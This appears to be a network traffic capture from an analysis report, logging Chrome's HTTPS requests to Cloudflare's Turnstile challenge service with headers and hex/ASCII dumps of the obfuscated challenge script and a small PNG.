43	192.168.2.16	49760	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:38 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bc004eb3a7c8d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:38 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:38 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 125104 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8b7bc0095aa719db-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:38 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 63 51 66 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZcQf2={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 Data Ascii: y.","turnstile_feedback_description":"Send%20Feedback","turnstile_feedback_report":"Having%20trouble%3F","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%2
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 70 61 72 73 65 49 6e 74 28 67 48 28 32 33 32 29 29 2f 31 30 2a 28 70 61 72 73 65 49 6e 74 28 67 48 28 33 39 36 29 29 2f 31 31 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 48 28 31 32 34 38 29 29 2f 31 32 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 48 28 31 36 32 30 29 29 2f 31 33 29 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 31 36 39 39 38 39 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 31 33 34 31 29 5d 2c 65 4f 3d 7b 7d 2c 65 4f 5b 67 49 28 31 34 38 33 29 5d 3d 27 6f 27 2c 65 4f 5b 67 49 28 37 37 33 29 5d 3d 27 73 27 2c 65 4f 5b 67 49 28 39 31 37 29 5d 3d 27 75 27 2c 65 4f 5b 67 Data Ascii: parseInt(gH(232))/10(parseInt(gH(396))/11)+-parseInt(gH(1248))/12(-parseInt(gH(1620))/13),d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,169989),eM=this\|\|self,eN=eM[gI(1341)],eO={},eO[gI(1483)]='o',eO[gI(773)]='s',eO[gI(917)]='u',eO[g
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 3d 3d 67 4d 28 31 34 35 39 29 3f 28 78 28 67 4d 28 31 30 34 30 29 29 2c 6f 5b 67 4d 28 31 35 37 35 29 5d 28 73 2c 67 4d 28 32 33 35 29 29 29 3a 28 4f 62 6a 65 63 74 5b 67 4d 28 33 30 31 29 5d 5b 67 4d 28 31 36 34 37 29 5d 5b 67 4d 28 33 37 31 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 67 4d 28 31 31 36 33 29 5d 28 47 29 29 7d 7d 2c 65 54 3d 67 49 28 31 35 37 31 29 5b 67 49 28 32 37 30 29 5d 28 27 3b 27 29 2c 65 55 3d 65 54 5b 67 49 28 31 36 33 39 29 5d 5b 67 49 28 31 32 30 36 29 5d 28 65 54 29 2c 65 4d 5b 67 49 28 33 36 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 2c 67 50 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 66 6f 72 28 67 50 3d 67 49 2c 6a 3d 7b 7d 2c 6a 5b 67 50 28 31 30 38 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 Data Ascii: ==gM(1459)?(x(gM(1040)),o[gM(1575)](s,gM(235))):(Object[gM(301)][gM(1647)][gM(371)](j,H)\|\|(j[H]=[]),j[H][gM(1163)](G))}},eT=gI(1571)[gI(270)](';'),eU=eT[gI(1639)][gI(1206)](eT),eM[gI(360)]=function(h,i,gP,j,k,l,m,n,o){for(gP=gI,j={},j[gP(1082)]=function(s
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 65 4d 5b 68 6f 28 31 31 36 39 29 5d 5b 68 6f 28 31 32 37 32 29 5d 28 29 2c 65 4d 5b 68 6f 28 31 31 36 39 29 5d 5b 68 6f 28 39 38 30 29 5d 28 29 2c 65 4d 5b 68 6f 28 33 33 34 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 6f 28 34 37 37 29 5d 5b 68 6f 28 31 35 35 36 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 6f 28 39 34 34 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 6f 28 31 36 35 35 29 5d 5b 68 6f 28 31 33 31 36 29 5d 2c 27 65 76 65 6e 74 27 3a 65 5b 68 6f 28 37 35 35 29 5d 2c 27 63 66 43 68 6c 4f 75 74 27 3a 65 4d 5b 68 6f 28 31 36 35 35 29 5d 5b 68 6f 28 34 38 37 29 5d 2c 27 63 66 43 68 6c 4f 75 74 53 27 3a 65 4d 5b 68 6f 28 31 36 35 35 29 5d 5b 68 6f 28 33 33 31 29 5d 2c 27 63 6f 64 65 27 3a 68 6f 28 31 34 34 31 29 2c 27 72 63 56 27 3a 65 4d 5b 68 6f 28 31 Data Ascii: eM[ho(1169)][ho(1272)](),eM[ho(1169)][ho(980)](),eM[ho(334)]=!![],eM[ho(477)][ho(1556)]({'source':ho(944),'widgetId':eM[ho(1655)][ho(1316)],'event':e[ho(755)],'cfChlOut':eM[ho(1655)][ho(487)],'cfChlOutS':eM[ho(1655)][ho(331)],'code':ho(1441),'rcV':eM[ho(1
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 61 73 65 27 37 27 3a 6d 5b 68 70 28 31 30 38 36 29 5d 28 6a 5b 68 70 28 35 35 30 29 5d 2c 68 70 28 31 35 32 34 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 73 3d 68 7c 7c 68 70 28 38 35 37 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 39 27 3a 42 3d 28 78 3d 7b 7d 2c 78 5b 68 70 28 31 31 39 34 29 5d 3d 66 2c 78 2e 63 63 3d 67 2c 78 5b 68 70 28 31 36 30 33 29 5d 3d 73 2c 4a 53 4f 4e 5b 68 70 28 31 33 35 30 29 5d 28 78 29 29 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 30 27 3a 6d 5b 68 70 28 31 31 35 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 31 31 27 3a 43 3d 6a 5b 68 70 28 37 31 32 29 5d 28 6a 5b 68 70 28 31 33 38 32 29 5d 28 6a 5b 68 70 28 39 37 32 29 5d 28 6a 5b 68 70 28 31 34 34 34 Data Ascii: ase'7':m[hp(1086)](j[hp(550)],hp(1524));continue;case'8':s=h\|\|hp(857);continue;case'9':B=(x={},x[hp(1194)]=f,x.cc=g,x[hp(1603)]=s,JSON[hp(1350)](x));continue;case'10':m[hp(1157)]=function(){};continue;case'11':C=j[hp(712)](j[hp(1382)](j[hp(972)](j[hp(1444
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 29 7b 69 71 3d 67 49 2c 64 3d 7b 27 44 6d 66 53 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 51 46 5a 4c 76 27 3a 69 71 28 39 34 34 29 2c 27 43 6d 77 4c 42 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 69 71 28 31 32 30 31 29 5d 2c 65 26 26 65 5b 69 71 28 31 36 30 33 29 5d 3d 3d 3d 69 71 28 39 34 34 29 26 26 64 5b 69 71 28 31 32 39 30 29 5d 28 65 5b 69 71 28 31 30 33 34 29 5d 2c 69 71 28 32 31 34 29 29 3f 66 45 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 37 28 29 7d 2c 31 65 33 29 3a 65 26 26 65 5b 69 71 28 31 36 30 33 29 5d 3d 3d 3d 64 5b 69 71 28 34 31 37 29 5d 26 26 65 5b 69 71 28 31 30 33 34 29 5d 3d 3d 3d 69 71 28 Data Ascii: ){iq=gI,d={'DmfSK':function(f,g){return f===g},'QFZLv':iq(944),'CmwLB':function(f,g){return f(g)}},e=c[iq(1201)],e&&e[iq(1603)]===iq(944)&&d[iq(1290)](e[iq(1034)],iq(214))?fE=setInterval(function(){g7()},1e3):e&&e[iq(1603)]===d[iq(417)]&&e[iq(1034)]===iq(
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 27 47 64 4b 42 5a 27 3a 6a 72 28 31 39 35 29 2c 27 63 59 64 53 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4c 4a 47 42 67 27 3a 6a 72 28 39 34 34 29 2c 27 62 4b 43 5a 6b 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 68 28 29 7d 2c 27 61 79 65 42 49 27 3a 6a 72 28 31 34 36 34 29 2c 27 79 6b 6f 53 69 27 3a 6a 72 28 39 39 37 29 2c 27 54 63 62 73 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 7a 55 49 47 71 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 2c 27 75 78 5a 68 66 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 76 65 79 4f 57 27 3a 66 75 6e 63 74 69 6f 6e 28 68 Data Ascii: 'GdKBZ':jr(195),'cYdSE':function(h,i){return h==i},'LJGBg':jr(944),'bKCZk':function(h){return h()},'ayeBI':jr(1464),'ykoSi':jr(997),'TcbsW':function(h,i){return i==h},'zUIGq':function(h,i){return h+i},'uxZhf':function(h,i){return i!==h},'veyOW':function(h
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 3d 3d 69 7d 2c 27 6c 59 6c 68 4d 27 3a 6a 72 28 36 33 36 29 2c 27 6e 55 70 41 77 27 3a 6a 72 28 31 31 33 31 29 2c 27 73 4d 6d 45 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 62 62 49 45 50 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 27 53 59 45 47 47 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 70 6b 56 76 77 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 75 6c 4b 5a 4a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 6a 72 28 39 36 35 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 6a 73 2c 69 29 7b 72 65 74 Data Ascii: ==i},'lYlhM':jr(636),'nUpAw':jr(1131),'sMmED':function(h,i){return i&h},'bbIEP':function(h,i){return hi},'SYEGG':function(h,i){return h<i},'pkVvw':function(h,i){return h==i},'ulKZJ':function(h,i){return hi}},e=String[jr(965)],f={'h':function(h,js,i){ret
2024-08-23 14:21:38 UTC	1369	IN	Data Raw: 3d 27 27 2c 47 3d 32 2c 48 3d 33 2c 49 3d 32 2c 4a 3d 5b 5d 2c 4b 3d 30 2c 4c 3d 30 2c 4d 3d 30 3b 4d 3c 6a 5b 6a 7a 28 35 32 36 29 5d 3b 4d 2b 3d 31 29 69 66 28 6a 7a 28 31 30 34 36 29 21 3d 3d 6a 7a 28 31 30 34 36 29 29 46 5b 6a 7a 28 34 37 37 29 5d 5b 6a 7a 28 31 35 35 36 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 64 5b 6a 7a 28 34 39 32 29 5d 2c 27 77 69 64 67 65 74 49 64 27 3a 78 5b 6a 7a 28 31 36 35 35 29 5d 5b 6a 7a 28 31 33 31 36 29 5d 2c 27 65 76 65 6e 74 27 3a 6a 7a 28 35 31 37 29 2c 27 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 27 3a 6a 2c 27 64 69 73 70 6c 61 79 52 54 4c 27 3a 4d 5b 6a 7a 28 31 36 35 35 29 5d 5b 6a 7a 28 31 32 38 36 29 5d 5b 6a 7a 28 31 31 30 33 29 5d 2c 27 74 72 61 6e 73 6c 61 74 69 6f 6e 44 61 74 61 27 3a 7b 27 74 75 72 6e 73 Data Ascii: ='',G=2,H=3,I=2,J=[],K=0,L=0,M=0;M<j[jz(526)];M+=1)if(jz(1046)!==jz(1046))F[jz(477)][jz(1556)]({'source':d[jz(492)],'widgetId':x[jz(1655)][jz(1316)],'event':jz(517),'displayLanguage':j,'displayRTL':M[jz(1655)][jz(1286)][jz(1103)],'translationData':{'turns

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49761	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:38 UTC	795	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/1om3v/0x4AAAAAAAfhdrrbQvZ6Zzfj/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:38 UTC	240	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:38 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8b7bc00a18744255-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:38 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49762	104.18.95.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:39 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8b7bc004eb3a7c8d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:39 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:39 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 123588 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8b7bc00f5f4042ab-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:39 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 5a 63 51 66 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.ZcQf2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcep
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 65 72 25 32 30 74 68 61 6e 25 32 30 65 78 70 65 63 74 65 64 2e 25 32 30 43 68 65 63 6b 25 32 30 79 6f 75 72 25 32 30 49 6e 74 65 72 6e 65 74 25 32 30 63 6f 6e 6e 65 63 74 69 6f 6e 25 32 30 61 6e 64 25 32 30 25 33 43 61 25 32 30 63 6c 61 73 73 25 33 44 25 32 32 72 65 66 72 65 73 68 5f 6c 69 6e 6b 25 32 32 25 33 45 72 65 66 72 65 73 68 25 32 30 74 68 65 25 32 30 70 61 67 65 25 33 43 25 32 46 61 25 33 45 25 32 30 69 66 25 32 30 74 68 65 25 32 30 69 73 73 75 65 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 Data Ascii: r%20if%20this%20problem%20persists.","check_delays":"Verification%20is%20taking%20longer%20than%20expected.%20Check%20your%20Internet%20connection%20and%20%3Ca%20class%3D%22refresh_link%22%3Erefresh%20the%20page%3C%2Fa%3E%20if%20the%20issue%20persists.","
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 28 70 61 72 73 65 49 6e 74 28 67 48 28 31 30 34 35 29 29 2f 31 30 29 2b 70 61 72 73 65 49 6e 74 28 67 48 28 31 36 38 36 29 29 2f 31 31 2c 66 3d 3d 3d 64 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 33 36 30 39 35 32 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 49 28 36 34 35 29 5d 2c 65 4f 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 67 4a 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 29 7b 66 6f 72 28 67 4a 3d 67 49 2c 66 3d 7b 27 70 64 78 6a 6b 27 3a 67 4a 28 31 36 30 39 29 2c 27 67 4a 50 68 46 27 3a 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 72 65 74 75 72 6e 20 6c 2a 6d 7d 2c 27 73 58 56 72 54 27 3a 67 4a 28 38 Data Ascii: (parseInt(gH(1045))/10)+parseInt(gH(1686))/11,f===d)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,360952),eM=this\|\|self,eN=eM[gI(645)],eO=function(c,gJ,f,g,h,i,j,k){for(gJ=gI,f={'pdxjk':gJ(1609),'gJPhF':function(l,m){return l*m},'sXVrT':gJ(8
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 67 4e 28 37 30 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 3e 69 7d 2c 64 5b 67 4e 28 31 36 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 64 5b 67 4e 28 34 35 34 29 5d 3d 67 4e 28 35 34 33 29 2c 64 5b 67 4e 28 31 32 33 35 29 5d 3d 67 4e 28 31 31 30 33 29 2c 64 5b 67 4e 28 39 33 36 29 5d 3d 67 4e 28 31 38 36 38 29 2c 64 5b 67 4e 28 31 39 31 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2a 69 7d 2c 64 5b 67 4e 28 31 34 39 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 65 5b 67 4e 28 31 39 31 32 29 5d 28 31 65 33 2c 65 4d 5b 67 4e 28 31 32 32 30 29 5d 5b 67 4e 28 31 39 Data Ascii: gN(709)]=function(h,i){return h>>i},d[gN(1632)]=function(h,i){return h&i},d[gN(454)]=gN(543),d[gN(1235)]=gN(1103),d[gN(936)]=gN(1868),d[gN(1912)]=function(h,i){return h*i},d[gN(1496)]=function(h,i){return h<<i},e=d,f=1,g=e[gN(1912)](1e3,eM[gN(1220)][gN(19
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 7b 7d 2c 6e 5b 67 50 28 31 32 36 35 29 5d 28 67 50 28 31 36 34 35 29 2c 67 50 28 31 37 33 30 29 29 2c 73 3d 7b 7d 2c 73 5b 67 50 28 36 30 39 29 5d 3d 66 2c 73 2e 63 63 3d 67 2c 73 5b 67 50 28 31 37 30 37 29 5d 3d 6b 2c 78 3d 4a 53 4f 4e 5b 67 50 28 31 34 32 33 29 5d 28 73 29 2c 42 3d 67 70 5b 67 50 28 37 35 35 29 5d 28 78 29 5b 67 50 28 31 33 35 33 29 5d 28 27 2b 27 2c 67 50 28 38 34 33 29 29 2c 6e 5b 67 50 28 38 34 37 29 5d 28 6a 5b 67 50 28 31 32 39 35 29 5d 28 27 76 5f 27 2b 65 4d 5b 67 50 28 31 38 35 36 29 5d 5b 67 50 28 31 30 36 32 29 5d 2c 27 3d 27 29 2b 42 29 7d 63 61 74 63 68 28 43 29 7b 7d 7d 2c 65 4d 5b 67 49 28 31 39 30 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 65 2c 66 2c 67 2c 67 51 2c 68 2c 69 2c 6a 2c 6b 29 7b 69 66 28 67 51 3d 67 Data Ascii: {},n[gP(1265)](gP(1645),gP(1730)),s={},s[gP(609)]=f,s.cc=g,s[gP(1707)]=k,x=JSON[gP(1423)](s),B=gp[gP(755)](x)[gP(1353)]('+',gP(843)),n[gP(847)](j[gP(1295)]('v_'+eM[gP(1856)][gP(1062)],'=')+B)}catch(C){}},eM[gI(1908)]=function(c,d,e,f,g,gQ,h,i,j,k){if(gQ=g
2024-08-23 14:21:39 UTC	1369	IN	Data Raw: 7d 62 7a 2d 2d 2c 68 5b 67 51 28 31 33 34 38 29 5d 28 30 2c 62 41 29 26 26 28 62 42 3d 62 43 5b 67 51 28 35 36 38 29 5d 28 32 2c 62 44 29 2c 62 45 2b 2b 29 2c 64 65 6c 65 74 65 20 62 46 5b 62 47 5d 7d 65 6c 73 65 20 65 4d 5b 67 51 28 31 30 35 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 52 29 7b 69 66 28 67 52 3d 67 51 2c 68 5b 67 52 28 31 32 35 38 29 5d 3d 3d 3d 68 5b 67 52 28 31 32 35 38 29 5d 29 65 4d 5b 67 52 28 31 31 30 38 29 5d 28 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 64 5b 67 52 28 31 38 35 36 29 5d 5b 67 52 28 31 35 35 38 29 5d 5b 67 52 28 31 32 30 37 29 5d 28 67 52 28 31 38 30 30 29 29 7d 2c 31 65 33 29 7d 65 6c 73 65 20 6b 3d 5b 67 51 28 31 31 39 33 29 2b 63 2c 68 5b 67 51 28 31 35 31 35 29 5d 28 67 51 28 31 37 35 32 29 2c 64 29 2c 67 51 28 31 Data Ascii: }bz--,h[gQ(1348)](0,bA)&&(bB=bC[gQ(568)](2,bD),bE++),delete bF[bG]}else eM[gQ(1054)](function(gR){if(gR=gQ,h[gR(1258)]===h[gR(1258)])eM[gR(1108)]();else return d[gR(1856)][gR(1558)][gR(1207)](gR(1800))},1e3)}else k=[gQ(1193)+c,h[gQ(1515)](gQ(1752),d),gQ(1
